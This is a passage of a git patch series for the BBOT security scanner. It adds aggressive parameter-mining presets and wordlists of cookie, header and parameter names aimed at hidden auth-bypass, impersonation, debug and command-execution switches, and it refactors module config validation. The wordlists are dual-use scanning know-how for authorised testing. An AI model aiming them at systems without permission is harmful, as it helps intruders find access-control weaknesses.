+49,21 @@ class paramminer_headers(BaseModule): "recycle_words": "Attempt to use words found during the scan on all other endpoints", "skip_boring_words": "Remove commonly uninteresting words from the wordlist", } + # URLs ending with these extensions are known to be case-insensitive — skip case mutation. + # (Used by paramminer_getparams and paramminer_cookies; HTTP headers are inherently + # case-insensitive per RFC 7230 so this isn't relevant to paramminer_headers itself.) + case_insensitive_extensions = { + ".aspx", + ".ashx", + ".ascx", + ".asmx", + ".axd", + ".cshtml", + ".vbhtml", + ".razor", + ".cfm", + ".cfc", + } scanned_hosts = [] boring_words = { "accept", @@ -95,6 +132,12 @@ async def setup(self): self.event_dict = {} self.already_checked = set() + # global parameter blacklist (shared with excavate) — known framework/CDN/tracker names + self.global_blacklist = {p.lower() for p in self.scan.config.get("parameter_blacklist", [])} + self.global_blacklist_prefixes = tuple( + p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", []) + ) + self.wl = { h.strip().lower() for h in self.helpers.read_file(self.wordlist_file) if len(h) > 0 and "%" not in h } @@ -102,10 +145,19 @@ async def setup(self): # check against the boring list (if the option is set) if self.config.get("skip_boring_words", True): self.wl -= self.boring_words + self.wl -= self.global_blacklist + if self.global_blacklist_prefixes: + self.wl = {w for w in self.wl if not w.startswith(self.global_blacklist_prefixes)} + self.extracted_words_master = set() return True + def _mutate_for_url(self, url, words): + """Hook for subclasses to expand a word set with URL-aware mutations + (e.g. paramminer_getparams adds case mutations on case-sensitive backends).""" + return words + def rand_string(self, *args, **kwargs): return self.helpers.rand_string(*args, **kwargs) @@ -166,8 +218,14 @@ async def handle_event(self, event): if event.type == "WEB_PARAMETER": parameter_name = event.data.get("name") if self.recycle_words or (event.data.get("type") == "SPECULATIVE"): - if self.config.get("skip_boring_words", True) and parameter_name in self.boring_words: - return + if self.config.get("skip_boring_words", True): + if parameter_name in self.boring_words: + return + lower_name = parameter_name.lower() + if lower_name in self.global_blacklist: + return + if self.global_blacklist_prefixes and lower_name.startswith(self.global_blacklist_prefixes): + return if parameter_name not in self.wl: # Ensure it's not already in the wordlist self.debug(f"Adding {parameter_name} to wordlist") self.extracted_words_master.add(parameter_name) @@ -194,7 +252,7 @@ async def handle_event(self, event): return try: - results = await self.do_mining(self.wl, url, batch_size, compare_helper) + results = await self.do_mining(self._mutate_for_url(url, self.wl), url, batch_size, compare_helper) except HttpCompareError as e: self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]") await self.process_results(event, results) @@ -253,7 +311,9 @@ async def finish(self): self.debug(f"Error initializing compare helper: {e}") continue words_to_process = { - i for i in self.extracted_words_master.copy() if hash(i + url) not in self.already_checked + i + for i in self._mutate_for_url(url, self.extracted_words_master) + if hash(i + url) not in self.already_checked } try: results = await self.do_mining(words_to_process, url, batch_size, compare_helper) diff --git a/bbot/presets/web/lightfuzz-max.yml b/bbot/presets/web/lightfuzz-max.yml index 5ad33b817c..85369a5a6e 100644 --- a/bbot/presets/web/lightfuzz-max.yml +++ b/bbot/presets/web/lightfuzz-max.yml @@ -1,7 +1,8 @@ -description: "Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." +description: "Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time." include: - lightfuzz-heavy + - paramminer-heavy config: url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter diff --git a/bbot/presets/web/paramminer-heavy.yml b/bbot/presets/web/paramminer-heavy.yml new file mode 100644 index 0000000000..aeed597848 --- /dev/null +++ b/bbot/presets/web/paramminer-heavy.yml @@ -0,0 +1,15 @@ +description: "Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time." + +include: + - paramminer + +config: + modules: + paramminer_getparams: + brute_short: True + mutate_case: True + recycle_words: True + paramminer_headers: + recycle_words: True + paramminer_cookies: + recycle_words: True diff --git a/bbot/wordlists/paramminer_cookies.txt b/bbot/wordlists/paramminer_cookies.txt new file mode 100644 index 0000000000..ecd889463e --- /dev/null +++ b/bbot/wordlists/paramminer_cookies.txt @@ -0,0 +1,557 @@ +debug +_debug +__debug +debugmode +debug_mode +debugMode +develop +development +dev +devmode +dev_mode +devMode +test +_test +testing +testmode +test_mode +testMode +qa +qa_mode +staging +stage +stage_mode +preview +preview_mode +previewMode +preview_token +preview_id +_preview +draft +draft_mode +draftmode +edit +editmode +edit_mode +beta +beta_user +beta_tester +isBeta +is_beta +canary +canary_user +admin +isadmin +is_admin +isAdmin +adminmode +admin_mode +adminMode +admin_user +adminUser +admin_token +adminToken +internal +_internal +internal_mode +isInternal +is_internal +trusted +is_trusted +isTrusted +trusted_user +trustedUser +super +superuser +super_user +superUser +is_superuser +isSuperuser +super_admin +superAdmin +super_token +staff +isstaff +is_staff +isStaff +staff_mode +staffMode +staff_user +employee +is_employee +isEmployee +support +support_mode +supportMode +support_user +support_token +god +godmode +god_mode +godMode +root +root_access +rootAccess +root_token +maintenance +maintenance_mode +maintenanceMode +maintenance_token +mock +mock_mode +mockMode +simulate +sandbox +sandbox_mode +sandboxMode +local +local_mode +isLocal +production +prod +prod_mode +prodMode +bypass +bypassauth +bypass_auth +bypassAuth +bypass_csrf +bypass_2fa +bypass_mfa +bypass_login +no_auth +noauth +noAuth +skip_auth +skipauth +skipAuth +no_csrf +nocsrf +noCsrf +skip_csrf +skipCsrf +no_throttle +no_rate_limit +no_ratelimit +unsafe +unsafe_mode +unsafeMode +safe_mode +safeMode +override +_override +override_user +override_auth +overrideAuth +override_role +forceadmin +force_admin +forceAdmin +auth_override +authOverride +auth_bypass +authBypass +verbose +verboselog +verbose_log +verboseLog +trace +tracing +trace_log +traceLog +profiling +features +ff +feature_flags +featureflags +featureFlags +flag +flags +override_flags +debug_flags +backdoor +_backdoor +__backdoor +secret +_secret +__secret +secret_key +secretKey +secret_token +secretToken +master +master_key +masterKey +master_token +masterToken +internal_token +internalToken +system_token +systemToken +service_token +serviceToken +inter +intranet +intranet_user +impersonate +impersonating +impersonator +impersonate_user +impersonateUser +impersonate_id +impersonate_as +impersonateAs +runas +run_as +runAs +actas +act_as +actAs +sudo +sudo_user +sudoUser +sudo_as +sudoAs +substitute +substitute_user +substituteUser +on_behalf +on_behalf_of +onBehalf +onBehalfOf +onbehalfof +delegated +delegate +delegate_user +delegateUser +become +become_user +becomeUser +role +role_id +roleId +user_role +userRole +permissions +perms +permission_level +permissionLevel +priv +privs +privilege +privilege_level +privilegeLevel +access_level +accessLevel +acl_override +aclOverride +auth_level +authLevel +clearance +clearance_level +clearanceLevel +loggedin +loggedIn +authenticated +isAuthenticated +is_authenticated +authenticate +isLoggedIn +is_logged_in +auto_login +autologin +autoLogin +auto_login_token +autoLoginToken +magic_link_token +magicLink +magic_token +magicToken +remember_user +rememberUser +auth_remember +authRemember +trust_device +trustDevice +trusted_device +trustedDevice +device_trust +deviceTrust +keep_session +keepSession +session_persist +sessionPersist +api_key +apiKey +api_token +apiToken +access_key +accessKey +private_key +privateKey +public_key +publicKey +auth_key +authKey +master_api_key +masterApiKey +admin_api_key +adminApiKey +internal_api_key +internalApiKey +service_api_key +serviceApiKey +no_cache +nocache +noCache +skip_cache +skipCache +bust_cache +bustCache +cache_bypass +cacheBypass +cb +no_gzip +nogzip +no_compression +noCompression +no_log +nolog +no_audit +noaudit +silent +silent_mode +silentMode +quiet +quiet_mode +quietMode +hidden +hidden_mode +hiddenMode +proxy_mode +proxyMode +internal_proxy +internalProxy +xff_trust +xffTrust +trusted_proxy +trustedProxy +real_ip +realIp +client_ip +clientIp +forwarded_for +forwardedFor +spoof +spoof_ip +spoofIp +spoof_user +spoofUser +fake +fake_user +fakeUser +fake_session +fakeSession +fake_admin +fakeAdmin +demo +demo_mode +demoMode +demo_user +demoUser +guest +guest_mode +guestMode +guest_user +guestUser +public +public_mode +publicMode +free_trial +freeTrial +trial +trial_user +trialUser +isTrial +is_trial +premium +premium_user +premiumUser +isPremium +is_premium +paid +paid_user +paidUser +isPaid +is_paid +subscriber +isSubscriber +is_subscriber +verified +isVerified +is_verified +unverified +isUnverified +banned +isBanned +is_banned +shadowbanned +isShadowbanned +muted +isMuted +locked +isLocked +suspended +isSuspended +disabled +isDisabled +enabled +isEnabled +visible +isVisible +public_user +publicUser +private_user +privateUser +incognito +private_mode +privateMode +secret_mode +secretMode +ghost +ghostMode +ghost_mode +ghost_user +ghostUser +shadow +shadow_user +shadowUser +override_email +overrideEmail +override_id +overrideId +override_role +overrideRole +override_permissions +overridePermissions +override_quota +overrideQuota +override_limit +overrideLimit +swap_user +swapUser +swap_account +swapAccount +target_user +targetUser +target_id +targetId +target_account +targetAccount +view_as +viewAs +viewas +peek +peek_as +peekAs +preview_as +previewAs +maintenance_password +maintenanceToken +shop_secret_token +shopSecretToken +__editor_session +__preview_session +__draft_session +preview_secret +draftKey +preview_key +__edit +__admin +__staff +__internal +__bypass +ALLOW +DENY +PERMIT +allow_admin +allowAdmin +permit_admin +permitAdmin +elevate +elevated +elevation +elevate_to +escalate +escalated +escalate_to +escalateTo +user_type +userType +usertype +account_type +accountType +account_level +accountLevel +membership +membership_level +membershipLevel +membership_id +subscription_level +subscriptionLevel +subscription_tier +tier +tier_id +plan +plan_id +user_plan +userPlan +member_type +memberType +member_role +memberRole +member_status +memberStatus +group_id +groupId +group_role +groupRole +team_role +teamRole +org_role +orgRole +tenant_role +tenantRole +caps +capabilities +acl_role +aclRole +current_user +currentUser +current_user_id +currentUserId +user_data +userData +user_info +userInfo +session_user +sessionUser +session_data +sessionData +profile_id +profileId +auth_user +auth_username +authUser +authUsername +remember_user_token +wp_remember_me +jwt_payload +jwtPayload +jwt_decoded +logged_in_as +loggedInAs +login_as +loginAs +switch_user +switchUser diff --git a/bbot/wordlists/paramminer_headers.txt b/bbot/wordlists/paramminer_headers.txt index b8f893f8b6..8a132e061c 100644 --- a/bbot/wordlists/paramminer_headers.txt +++ b/bbot/wordlists/paramminer_headers.txt @@ -287,3 +287,149 @@ x-amzn-remapped-host x-remote-ip traceparent tracestate +x-middleware-subrequest +x-middleware-invoke +x-middleware-prefetch +x-invoke-query +x-invoke-error +x-invoke-output +x-invoke-path +x-invoke-status +x-now-route-matches +akamai-client-ip +x-use-http-status-code-override +cross-origin-embedder-policy +cross-origin-opener-policy +cross-origin-resource-policy +origin-agent-cluster +permissions-policy +permissions-policy-report-only +document-policy +feature-policy +reporting-endpoints +nel +sec-ch-prefers-color-scheme +sec-ch-prefers-reduced-motion +sec-ch-prefers-reduced-transparency +sec-ch-prefers-contrast +sec-ch-prefers-monochrome +sec-ch-save-data +sec-ch-viewport-width +sec-ch-viewport-height +sec-ch-dpr +sec-ch-width +sec-ch-device-memory +sec-ch-rtt +sec-ch-downlink +sec-ch-ect +sec-ch-ua-form-factors +sec-ch-ua-wow64 +critical-ch +accept-ch +accept-ch-lifetime +sec-fetch-storage-access +sec-purpose +early-data +priority +alt-svc +speculation-rules +sec-browsing-topics +sec-cookie-deprecation +attribution-reporting-eligible +attribution-reporting-register-source +attribution-reporting-register-trigger +use-as-dictionary +available-dictionary +dictionary-id +x-amzn-trace-id +x-amzn-requestid +x-amz-cf-id +x-amz-cf-pop +x-cloud-trace-context +x-goog-iap-jwt-assertion +x-google-real-ip +x-appengine-user-ip +x-appengine-country +x-appengine-city +x-appengine-region +x-vercel-forwarded-for +x-vercel-id +x-vercel-ip-city +x-vercel-ip-country +x-vercel-ip-country-region +x-vercel-ip-latitude +x-vercel-ip-longitude +x-vercel-ip-timezone +x-vercel-deployment-url +x-vercel-cache +x-vercel-proxied-for +x-vercel-sc-headers +cf-worker +cf-ray +cf-cache-status +cdn-loop +x-azure-ref +x-azure-clientip +x-azure-socketip +x-msedge-ref +x-arr-clientcert +fly-client-ip +fly-forwarded-port +fly-region +fly-request-id +fastly-ff +fastly-debug-path +fastly-debug-ttl +fastly-debug-digest +x-render-origin-server +x-heroku-queue-wait-time +x-heroku-dyno +x-nf-request-id +x-nf-instance-id +x-override-url +x-original-uri +x-original-remote-user +x-original-method +x-rewrite +x-rewritten-url +x-forwarded-path +x-forwarded-uri +x-trusted-ip +x-trusted-host +x-bypass-auth +x-no-auth +x-internal-host +x-internal-user +x-server-host +x-impersonate +x-user-impersonation +x-user-id-override +x-act-as +x-substitute-user +x-admin +x-admin-user +x-admin-token +x-superuser +x-xsrf-token +xsrf-token +x-csrf +csrf-token +x-auth +x-app-auth +x-session +x-session-id +x-session-token +x-bearer +x-bearer-token +x-jwt +x-jwt-token +x-pingback +cdn-cache-control +surrogate-control +cache-tag +surrogate-key +cache-status +x-accel-expires +x-cache-key +x-cache-lookup +x-served-by diff --git a/bbot/wordlists/paramminer_parameters.txt b/bbot/wordlists/paramminer_parameters.txt index 5cf52fe2d8..b0ac7b2cc5 100644 --- a/bbot/wordlists/paramminer_parameters.txt +++ b/bbot/wordlists/paramminer_parameters.txt @@ -5222,3 +5222,68 @@ user_token adminCookie fullapp LandingUrl +__nextDataReq +_rsc +_json +code_challenge +code_verifier +code_challenge_method +request_uri +id_token_hint +post_logout_redirect_uri +login_hint +prompt +operationName +persisted_query +image_url +avatar_url +logo_url +feed_url +xml_url +fetch_url +proxy_url +webhook_url +webhook +callback_url +success_url +error_url +return_to +return_url +redirect_uri +continue_url +cancel_url +template_path +view_path +include_file +load_file +load_path +skin_path +asset_path +shell_exec +passthru +popen +run_cmd +run_command +upload_id +total_chunks +chunk_size +chunk_index +chunk_number +tus_id +part_number +part_size +api_version +tenant +tenant_id +workspace_id +org_slug +system_prompt +user_prompt +temperature +top_p +top_k +max_tokens +tool_choice +function_call +debug_mode +dev_mode From 7578d1d0477d8264d1a74d0ab7445a89b90425b4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 27 Apr 2026 13:54:50 -0400 Subject: [PATCH 570/912] preset validation wip --- bbot/core/config/models.py | 4 +- bbot/core/modules.py | 150 ++++++++- bbot/modules/anubisdb.py | 8 +- bbot/modules/apkpure.py | 8 +- bbot/modules/baddns.py | 24 +- bbot/modules/baddns_direct.py | 12 +- bbot/modules/baddns_zone.py | 12 +- bbot/modules/badsecrets.py | 9 +- bbot/modules/bevigil.py | 7 +- bbot/modules/bucket_amazon.py | 8 +- bbot/modules/bucket_digitalocean.py | 8 +- bbot/modules/bucket_file_enum.py | 8 +- bbot/modules/bucket_firebase.py | 8 +- bbot/modules/bucket_google.py | 8 +- bbot/modules/bucket_microsoft.py | 8 +- bbot/modules/bufferoverrun.py | 7 +- bbot/modules/builtwith.py | 7 +- bbot/modules/c99.py | 6 +- bbot/modules/censys_dns.py | 10 +- bbot/modules/censys_ip.py | 12 +- bbot/modules/chaos.py | 6 +- bbot/modules/credshed.py | 12 +- bbot/modules/dehashed.py | 6 +- bbot/modules/dnsbimi.py | 16 +- bbot/modules/dnsbrute.py | 13 +- bbot/modules/dnsbrute_mutations.py | 10 +- bbot/modules/dnscaa.py | 19 +- bbot/modules/dnscommonsrv.py | 6 +- bbot/modules/dnstlsrpt.py | 16 +- bbot/modules/docker_pull.py | 10 +- bbot/modules/ffuf.py | 27 +- bbot/modules/ffuf_shortnames.py | 37 +-- bbot/modules/filedownload.py | 77 +---- bbot/modules/fingerprintx.py | 9 +- bbot/modules/fullhunt.py | 6 +- bbot/modules/git_clone.py | 10 +- bbot/modules/gitdumper.py | 16 +- bbot/modules/github_codesearch.py | 7 +- bbot/modules/github_org.py | 12 +- bbot/modules/github_usersearch.py | 6 +- bbot/modules/github_workflows.py | 12 +- bbot/modules/gitlab_com.py | 6 +- bbot/modules/gitlab_onprem.py | 6 +- bbot/modules/gowitness.py | 34 +- bbot/modules/graphql_introspection.py | 13 +- bbot/modules/httpx.py | 25 +- bbot/modules/hunterio.py | 6 +- bbot/modules/iis_shortnames.py | 12 +- bbot/modules/internal/excavate.py | 16 +- bbot/modules/internal/speculate.py | 12 +- bbot/modules/ip2location.py | 10 +- bbot/modules/ipneighbor.py | 6 +- bbot/modules/ipstack.py | 6 +- bbot/modules/jadx.py | 10 +- bbot/modules/kreuzberg.py | 56 +--- bbot/modules/leakix.py | 6 +- bbot/modules/legba.py | 37 +-- bbot/modules/lightfuzz/lightfuzz.py | 25 +- bbot/modules/medusa.py | 22 +- bbot/modules/ntlm.py | 6 +- bbot/modules/nuclei.py | 59 ++-- bbot/modules/oauth.py | 6 +- bbot/modules/otx.py | 6 +- bbot/modules/output/asset_inventory.py | 14 +- bbot/modules/output/csv.py | 6 +- bbot/modules/output/discord.py | 14 +- bbot/modules/output/elastic.py | 19 +- bbot/modules/output/emails.py | 6 +- bbot/modules/output/http.py | 28 +- bbot/modules/output/json.py | 8 +- bbot/modules/output/kafka.py | 13 +- bbot/modules/output/mongo.py | 22 +- bbot/modules/output/mysql.py | 22 +- bbot/modules/output/nats.py | 13 +- bbot/modules/output/neo4j.py | 12 +- bbot/modules/output/postgres.py | 22 +- bbot/modules/output/rabbitmq.py | 13 +- bbot/modules/output/slack.py | 14 +- bbot/modules/output/splunk.py | 22 +- bbot/modules/output/sqlite.py | 10 +- bbot/modules/output/stdout.py | 16 +- bbot/modules/output/subdomains.py | 7 +- bbot/modules/output/teams.py | 14 +- bbot/modules/output/txt.py | 6 +- bbot/modules/output/web_parameters.py | 10 +- bbot/modules/output/web_report.py | 10 +- bbot/modules/output/websocket.py | 14 +- bbot/modules/output/zeromq.py | 10 +- bbot/modules/paramminer_cookies.py | 21 +- bbot/modules/paramminer_getparams.py | 16 +- bbot/modules/paramminer_headers.py | 16 +- bbot/modules/passivetotal.py | 6 +- bbot/modules/pgp.py | 13 +- bbot/modules/portfilter.py | 13 +- bbot/modules/portscan.py | 41 +-- bbot/modules/postman.py | 6 +- bbot/modules/postman_download.py | 10 +- bbot/modules/retirejs.py | 16 +- bbot/modules/robots.py | 12 +- bbot/modules/securitytrails.py | 6 +- bbot/modules/securitytxt.py | 13 +- bbot/modules/shodan_dns.py | 6 +- bbot/modules/shodan_enterprise.py | 10 +- bbot/modules/shodan_idb.py | 9 +- bbot/modules/sslcert.py | 7 +- bbot/modules/subdomainradar.py | 12 +- bbot/modules/telerik.py | 10 +- bbot/modules/trajan.py | 31 +- bbot/modules/trickest.py | 10 +- bbot/modules/trufflehog.py | 22 +- bbot/modules/url_manipulation.py | 8 +- bbot/modules/urlscan.py | 6 +- bbot/modules/virustotal.py | 6 +- bbot/modules/wafw00f.py | 6 +- bbot/modules/wayback.py | 10 +- bbot/modules/wpscan.py | 28 +- bbot/scanner/preset/validate.py | 291 +++++++----------- bbot/test/test_step_1/test_validate_preset.py | 31 +- 118 files changed, 963 insertions(+), 1116 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index c793067d74..815e66d8c6 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -13,7 +13,7 @@ from __future__ import annotations -from typing import Any, Optional +from typing import Any, Literal, Optional from pydantic import BaseModel, ConfigDict, Field from pydantic_settings import BaseSettings, SettingsConfigDict @@ -93,7 +93,7 @@ class DepsToolConfig(BaseModel): class DepsConfig(BaseModel): model_config = STRICT - behavior: Optional[str] = None + behavior: Optional[Literal["abort_on_failure", "retry_failed", "ignore_failed", "disable", "force_install"]] = None ffuf: Optional[DepsToolConfig] = None diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 9b1e2045b7..adeca4862f 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -57,14 +57,119 @@ def _eval_ast_default(node): return _UNEVALUATED +def _exec_config_class(source: str, module_name: str): + """ + Execute a `class Config(BaseModuleConfig):` snippet in a controlled + namespace and return the resulting class. The namespace provides exactly + what a Config block is allowed to reference: the typing primitives, the + pydantic `Field` factory, and `BaseModuleConfig`. + + This replaces parsing annotations as strings: pydantic handles every + valid type expression (`Optional[str]`, `Literal["a", "b"]`, + `list[Union[int, str]]`, …) without any hand-rolled resolver. + """ + from typing import Any, Dict, List, Literal, Optional, Set, Tuple, Union + from pydantic import Field + from bbot.core.config.models import BaseModuleConfig + + namespace: dict = { + "Any": Any, + "Dict": Dict, + "List": List, + "Literal": Literal, + "Optional": Optional, + "Set": Set, + "Tuple": Tuple, + "Union": Union, + "Field": Field, + "BaseModuleConfig": BaseModuleConfig, + } + try: + exec(source, namespace) + except Exception as e: + raise BBOTError( + f'module "{module_name}" has an invalid Config class ({type(e).__name__}: {e}). ' + "Config blocks may only reference: Optional, Union, Literal, Any, List, Dict, Tuple, Set, " + "Field, BaseModuleConfig, and Python builtins." + ) from e + cfg = namespace.get("Config") + if cfg is None: + raise BBOTError(f'module "{module_name}": Config snippet did not define a class named "Config"') + return cfg + + +def _build_validation_schema(preloaded: dict): + """ + Build the composite preset validation schema. + + Structure: + FullPresetSchema + ├── (all PresetSchema fields — target, modules, flags, …) + └── config: FullBBOTConfig + ├── (all BBOTConfig fields — scope, dns, web, …) + └── modules: ModulesSchema + ├── nuclei: NucleiModuleConfig + ├── httpx: HttpxModuleConfig + ├── sslcert: SslcertModuleConfig + └── … one field per known module + + A single `FullPresetSchema.model_validate(preset_dict)` call then catches + every class of error in one pass: + - top-level preset typos (extra='forbid' on PresetSchema) + - global config typos / wrong types (extra='forbid' on BBOTConfig) + - unknown module names (extra='forbid' on ModulesSchema) + - wrong module option names / wrong types (extra='forbid' per module) + """ + import warnings + from typing import Optional + from pydantic import ConfigDict, Field, create_model + from bbot.core.config.models import BaseModuleConfig, BBOTConfig, PresetSchema + + module_fields = {} + for name, data in preloaded.items(): + source = data.get("config_source") + if source: + cfg_model = _exec_config_class(source, name) + else: + # Module declares no Config — only the universal options apply. + cfg_model = BaseModuleConfig + module_fields[name] = (Optional[cfg_model], Field(default=None)) + + # Some module names (e.g. `json`) shadow BaseModel's deprecated method + # names and trigger a UserWarning. The field still validates correctly; + # silence the noise. + with warnings.catch_warnings(): + warnings.filterwarnings( + "ignore", + message=r'Field name ".+" in ".+" shadows an attribute in parent "BaseModel"', + category=UserWarning, + ) + ModulesSchema = create_model( + "ModulesSchema", + __config__=ConfigDict(extra="forbid"), + **module_fields, + ) + FullBBOTConfig = create_model( + "FullBBOTConfig", + __base__=BBOTConfig, + modules=(Optional[ModulesSchema], Field(default=None)), + ) + FullPresetSchema = create_model( + "FullPresetSchema", + __base__=PresetSchema, + config=(Optional[FullBBOTConfig], Field(default=None)), + ) + return FullPresetSchema + + def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: """ Walk a `class Config(BaseModuleConfig):` block and extract - `(field_defaults, field_descriptions)` dicts mirroring the legacy - `options`/`options_desc` shape. + `(defaults, descriptions)` dicts — cheap metadata used for `bbot -l` and + similar listing paths, without importing or exec-ing anything. - Used by the preloader so `bbot -l` and module listing work without - importing the module (deps may be missing on the host). + The actual typed pydantic class is built later via `_exec_config_class` + on the captured source text. """ defaults: dict = {} descriptions: dict = {} @@ -134,6 +239,9 @@ def __init__(self): self.internal_module_choices = set() self._preload_cache = None + # Composite preset-validation schema, built from preloaded modules. + # Invalidated whenever a new module is preloaded. + self._validation_schema = None self._module_dirs = set() self._module_dirs_preloaded = set() @@ -273,6 +381,11 @@ def preload(self, module_dirs=None): # update default config with module defaults self.core.merge_default({"modules": self.configs()}) + # invalidate the composite validation schema; it'll rebuild lazily + # on next access now that the set of modules has changed + if new_modules: + self._validation_schema = None + return new_modules @property @@ -322,6 +435,18 @@ def configs(self, type=None): return {k: dict(v) for k, v in self._configs.items() if self.check_type(k, type)} return {k: dict(v) for k, v in self._configs.items()} + @property + def validation_schema(self): + """ + The composite pydantic schema for validating a full preset dict. + + Built lazily from preloaded module metadata and cached. Rebuilt when + `preload()` discovers new modules (e.g. after `add_module_dir`). + """ + if self._validation_schema is None: + self._validation_schema = _build_validation_schema(self._preloaded) + return self._validation_schema + def find_and_replace(self, **kwargs): self.__preloaded = search_format_dict(self.__preloaded, **kwargs) self._shared_deps = search_format_dict(self._shared_deps, **kwargs) @@ -390,6 +515,7 @@ def preload_module(self, module_file): ansible_tasks = [] config = {} options_desc = {} + config_source: str | None = None disable_auto_module_deps = False with open(module_file) as f: python_code = f.read() @@ -416,26 +542,21 @@ def preload_module(self, module_file): # look for classes if type(root_element) == ast.ClassDef: for class_attr in root_element.body: - # nested `class Config(BaseModuleConfig): ...` — the new pydantic-based schema + # nested `class Config(BaseModuleConfig): ...` — the module's config schema if type(class_attr) == ast.ClassDef and class_attr.name == "Config": config_fields, config_descs = _extract_pydantic_config(class_attr) config.update(config_fields) options_desc.update(config_descs) + # capture the class source verbatim; schema build re-execs it + config_source = ast.get_source_segment(python_code, class_attr) continue if not type(class_attr) == ast.Assign: continue - # class attributes that are dictionaries + # module metadata if type(class_attr.value) == ast.Dict: - # module options (legacy — pre-pydantic shim) - if any(target.id == "options" for target in class_attr.targets): - config.update(ast.literal_eval(class_attr.value)) - # module options descriptions (legacy) - elif any(target.id == "options_desc" for target in class_attr.targets): - options_desc.update(ast.literal_eval(class_attr.value)) - # module metadata - elif any(target.id == "meta" for target in class_attr.targets): + if any(target.id == "meta" for target in class_attr.targets): meta = ast.literal_eval(class_attr.value) # class attributes that are lists @@ -509,6 +630,7 @@ def preload_module(self, module_file): "meta": meta, "config": config, "options_desc": options_desc, + "config_source": config_source, "hash": module_hash, "deps": { "modules": sorted(deps_modules), diff --git a/bbot/modules/anubisdb.py b/bbot/modules/anubisdb.py index f1621a1f2a..0d667e15a0 100644 --- a/bbot/modules/anubisdb.py +++ b/bbot/modules/anubisdb.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class anubisdb(subdomain_enum): @@ -10,10 +12,8 @@ class anubisdb(subdomain_enum): "created_date": "2022-10-04", "author": "@TheTechromancer", } - options = {"limit": 1000} - options_desc = { - "limit": "Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)" - } + class Config(BaseModuleConfig): + limit: int = Field(1000, description='Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)') base_url = "https://jldc.me/anubis/subdomains" dns_abort_depth = 5 diff --git a/bbot/modules/apkpure.py b/bbot/modules/apkpure.py index 8364a918e1..1e38d3ea5d 100644 --- a/bbot/modules/apkpure.py +++ b/bbot/modules/apkpure.py @@ -1,6 +1,8 @@ import re from pathlib import Path from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class apkpure(BaseModule): @@ -12,10 +14,8 @@ class apkpure(BaseModule): "created_date": "2024-10-11", "author": "@domwhewell-sage", } - options = {"output_folder": ""} - options_desc = { - "output_folder": "Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage." - } + class Config(BaseModuleConfig): + output_folder: str = Field('', description='Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.') async def setup(self): output_folder = self.config.get("output_folder", "") diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 515b54b221..5cbddf37ed 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -1,8 +1,11 @@ +from typing import Literal from baddns.base import get_all_modules from baddns.lib.loader import load_signatures from .base import BaseModule import logging +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED") @@ -45,13 +48,20 @@ class baddns(BaseModule): "created_date": "2024-01-18", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MEDIUM", "enabled_submodules": []} - options_desc = { - "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)", - "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", - } + class Config(BaseModuleConfig): + custom_nameservers: list[str] = Field( + default_factory=list, description="Force BadDNS to use a list of custom nameservers" + ) + min_severity: Literal["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] = Field( + "LOW", description="Minimum severity to emit" + ) + min_confidence: Literal["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"] = Field( + "MEDIUM", description="Minimum confidence to emit" + ) + enabled_submodules: list[str] = Field( + default_factory=list, + description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", + ) module_threads = 8 deps_pip = ["baddns~=2.1.0"] diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 243f224a11..2bde5917b0 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -1,4 +1,6 @@ from .baddns import baddns as baddns_module +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class baddns_direct(baddns_module): @@ -10,12 +12,10 @@ class baddns_direct(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MEDIUM"} - options_desc = { - "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", - "min_confidence": 